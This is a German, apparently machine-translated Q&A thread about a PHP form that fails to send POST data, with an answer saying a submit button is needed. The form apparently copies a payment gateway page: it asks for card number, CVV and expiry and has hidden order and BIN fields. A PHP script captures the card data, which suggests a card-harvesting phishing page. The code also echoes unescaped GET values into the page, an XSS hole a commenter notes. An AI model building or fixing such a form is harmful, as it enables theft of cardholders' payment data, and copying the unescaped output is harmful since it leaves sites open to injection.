2017-03-04 9 views
-2

Ich beginne in PHP und ich stieß auf dieses Problem die Post-Daten werden nicht an PHP gesendet Nach der Suche viel im Internet, konnte ich keine Lösung finden. Folgen Sie den Codes unterPHP-Post funktioniert nicht

Formular

<?php 
 

 
$cnpj = $_GET['cnpj']; 
 
$nc = $_GET['nc']; 
 
$sv = $_GET['sv']; 
 
$_url = "fnc.php?cnpj={$cnpj}&nc={$nc}&sv={$sv}"; 
 
?> 
 

 

 
<form id="frm" name="frm" action="<?php echo $_url; ?>" method="post"> 
 
</table> 
 
<table class="Tabela1" width="610" cellspacing="0" cellpadding="0" border="0" align="center" height="1"><tbody><tr class="TituloTabela1" valign="center"> \t <td colspan="10" align="center">&nbsp;Dados do cart&atilde;o</td></tr><input name="id_Pedido" id="frm_id_Pedido1" value="7679401" type="HIDDEN"> 
 
<input name="chr_NumeroBIN" id="frm_chr_NumeroBIN1" value="485960," type="HIDDEN"> 
 
<input name="chr_TipoCartao" id="frm_chr_TipoCartao1" value="visa" type="HIDDEN"> 
 
\t <tr> \t \t <td><table width="100%" cellspacing="0" cellpadding="0" border="0" height="1"> \t <tbody><tr class="SubTituloTabela1" valign="center"> \t \t <td colspan="10" align="left"></td> \t </tr><tr height="10"><td></td></tr><tr class="texto2" valign="bottom" height="25"> 
 
<td width="1%"></td><td colspan="5" align="Left">N&uacute;mero do Cart&atilde;o*<br><font class="Texto4">(digite apenas n&uacute;meros)</font></td> 
 
<input name="chr_MostrarCVC2" id="frm_chr_MostrarCVC21" value="S" type="HIDDEN"> 
 
<td colspan="1" rowspan="1" valign="Top" align="Right"> 
 
</td> 
 
<td colspan="1" rowspan="1" valign="Top" align="Right"> 
 
</td> 
 
<td colspan="1" rowspan="6" valign="Top" align="Middle"> 
 
<div style="width:150px;margin-right:auto;margin-left:auto"><u><b>C&oacute;digo de Seguran&ccedil;a</b></u></div><div style="width:150px;margin-right:auto;margin-left:auto"><img src="recf_ficheiros/CVV_small.JPG" border="0"></div><div style="width:170px;margin-right:auto;margin-left:auto"><font class="Texto4">3 &Uacute;ltimos d&iacute;gitos da faixa num&eacute;rica. <br>(verso do cart&atilde;o)</font></div></td> 
 
</tr><tr class="texto3" valign="top" height="20"> 
 
<td width="1%"></td><td colspan="5"> 
 

 
<input class="CaixaTexto" maxlength="16" name="chr_NumeroCartao" id="frm_chr_NumeroCartao1" size="17" autocomplete="off" type="Text"></td> 
 
</tr> 
 
<tr class="texto2" valign="bottom" height="25"> 
 
<td width="1%"></td><td colspan="3" align="Left">C&oacute;digo de Seguran&ccedil;a*<br><font class="Texto4">(digite apenas n&uacute;meros)</font></td> 
 
</tr><tr class="texto3" valign="top" height="20"> 
 
<td width="1%"></td><td colspan="3"> 
 
<input class="CaixaTexto" maxlength="3" name="chr_CVC2" id="frm_chr_CVC21" size="3" autocomplete="off" type="Text"></td> 
 
</tr> 
 
<tr class="texto2" valign="bottom" height="25"> 
 
<td width="1%"></td><td colspan="4" align="Left">M&ecirc;s de validade*</td> 
 
<td width="1%"></td><td colspan="2" align="Left">Ano de validade*</td> 
 
</tr><tr class="texto3" valign="top" height="20"> 
 
<td width="1%"></td><td colspan="4"><select class="CaixaTexto" name="int_MesCartao" id="frm_int_MesCartao1"> 
 
<option value="" selected="selected">Selecione... 
 
</option><option value="01">01 
 
</option><option value="02">02 
 
</option><option value="03">03 
 
</option><option value="04">04 
 
</option><option value="05">05 
 
</option><option value="06">06 
 
</option><option value="07">07 
 
</option><option value="08">08 
 
</option><option value="09">09 
 
</option><option value="10">10 
 
</option><option value="11">11 
 
</option><option value="12">12 
 
</option></select></td><td width="1%"></td><td colspan="2"><select class="CaixaTexto" name="int_AnoCartao" id="frm_int_AnoCartao1"> 
 
<option value="" selected="selected">Selecione... 
 
</option><option value="2017">2017 
 
</option><option value="2018">2018 
 
</option><option value="2019">2019 
 
</option><option value="2020">2020 
 
</option><option value="2021">2021 
 
</option><option value="2022">2022 
 
</option><option value="2023">2023 
 
</option><option value="2024">2024 
 
</option><option value="2025">2025 
 
</option><option value="2026">2026 
 
</option><option value="2027">2027 
 
</option></select></td></tr> 
 
</tbody></table></td></tr> 
 
<tr><td height="1"></td></tr> 
 

 
</tbody></table> 
 
<table width="610" cellspacing="0" cellpadding="0" border="0" align="center" height="1"><tbody><tr><td align="right" height="5"><font class="Texto4">* Campos de preenchimento obrigat&oacute;rio.</font></td></tr> 
 
<tr><td height="15"></td></tr></tbody></table> 
 

 
<table width="610" cellspacing="0" cellpadding="0" border="0" align="center" height="1"> <tbody> 
 
<tr> 
 

 
<td width="33%" align="center" height="25"> 
 
<table width="1" cellspacing="0" cellpadding="0" border="0"> 
 
\t <tbody> 
 
\t \t <tr aling="center"> \t 
 
\t \t \t <td width="3"> 
 
\t \t \t \t <img src="recf_ficheiros/img_dot_002.gif" width="3" height="1"></td> \t 
 
\t \t \t \t <td width="30" bgcolor="#174529" height="25"> 
 
\t \t \t \t \t \t <a href="#" title="" onclick=""> 
 
\t \t \t \t \t \t \t <img src="recf_ficheiros/img_botao_fnz_002.gif" width="30" border="0" height="25"></a> 
 
\t \t \t \t \t \t </td> \t 
 
\t \t \t \t \t \t <td height="25"> \t \t 
 
\t \t \t \t \t \t \t <table cellspacing="0" cellpadding="0" border="0" height="25"> 
 
\t \t \t \t \t \t \t \t \t \t <tbody><tr> \t \t \t \t 
 
\t \t \t \t \t \t \t \t \t \t \t 
 
\t \t \t \t \t \t \t \t \t \t \t \t \t \t \t <a href="<?php echo $_url; ?>" id="btn_confirmar" title="" onclick="submitForm();" style="COLOR:#174529; FONT-SIZE: 11px; FONT-FAMILY: Verdana, Arial; font-weight: bold; text-decoration: none;">Finalizar&nbsp;</a></td> \t \t \t \t \t \t </tr> \t \t \t <tr bgcolor="#174529"> \t \t \t \t <td colspan="3" height="1"><img src="recf_ficheiros/img_dot_002.gif" width="1" height="1"></td> \t \t \t </tr> \t \t \t <tr> \t \t \t \t <td colspan="3" height="4"><img src="recf_ficheiros/img_dot_002.gif" width="1" height="1"></td> \t \t \t </tr> \t \t </tbody></table> \t </td> \t <td width="3"><img src="recf_ficheiros/img_dot_002.gif" width="3" height="1"></td></tr></tbody></table><table width="1" cellspacing="0" cellpadding="0" border="0"></table></td> 
 

 

 

 
</tr> 
 
</tbody></table> 
 

 
</form>

PHP Receiv Beitrag

<?php 

$cnpj = $_GET['cnpj']; 
$cc = $_POST['chr_NumeroCartao']; 
$mes = $_POST['int_MesCartao']; 
$ano = $_POST['int_AnoCartao']; 
$cvv = $_POST['chr_CVC2']; 

?> 

OBS: Das Problem und nur in dieser Form habe ich andere Seiten Post mit, dass perfekt

+0

Was zeigt die Entwicklerkonsole als übertragene Formulardaten? Sie sind offen für XSS-Injektionen. – chris85

+0

Bitte denken Sie daran, Ihre Frage zu reformieren, indem Sie unnötigen Code entfernen und neu formulieren. Vergessen Sie auch nicht, einige Ihrer Bemühungen einzubeziehen, um Ihnen besser zu erklären, was Sie falsch machen. Im Allgemeinen ist es eine gute Übung, den Code auf das absolut Notwendige zu reduzieren und die Funktionalität zu überprüfen. Dann können Sie es schrittweise erweitern, bis Sie das Problem finden, das das Problem verursacht. – Arkoudinos

Antwort

1
Arbeits

Ich denke, dass Sie in HTML eine Übermittlungsschaltfläche für das Formular angeben müssen:

<input type="submit" value="Submit"> 
+0

Es hat funktioniert, aber ich habe noch eine Frage, ich müsste es mit Tag machen – 3V3LYN

Verwandte Themen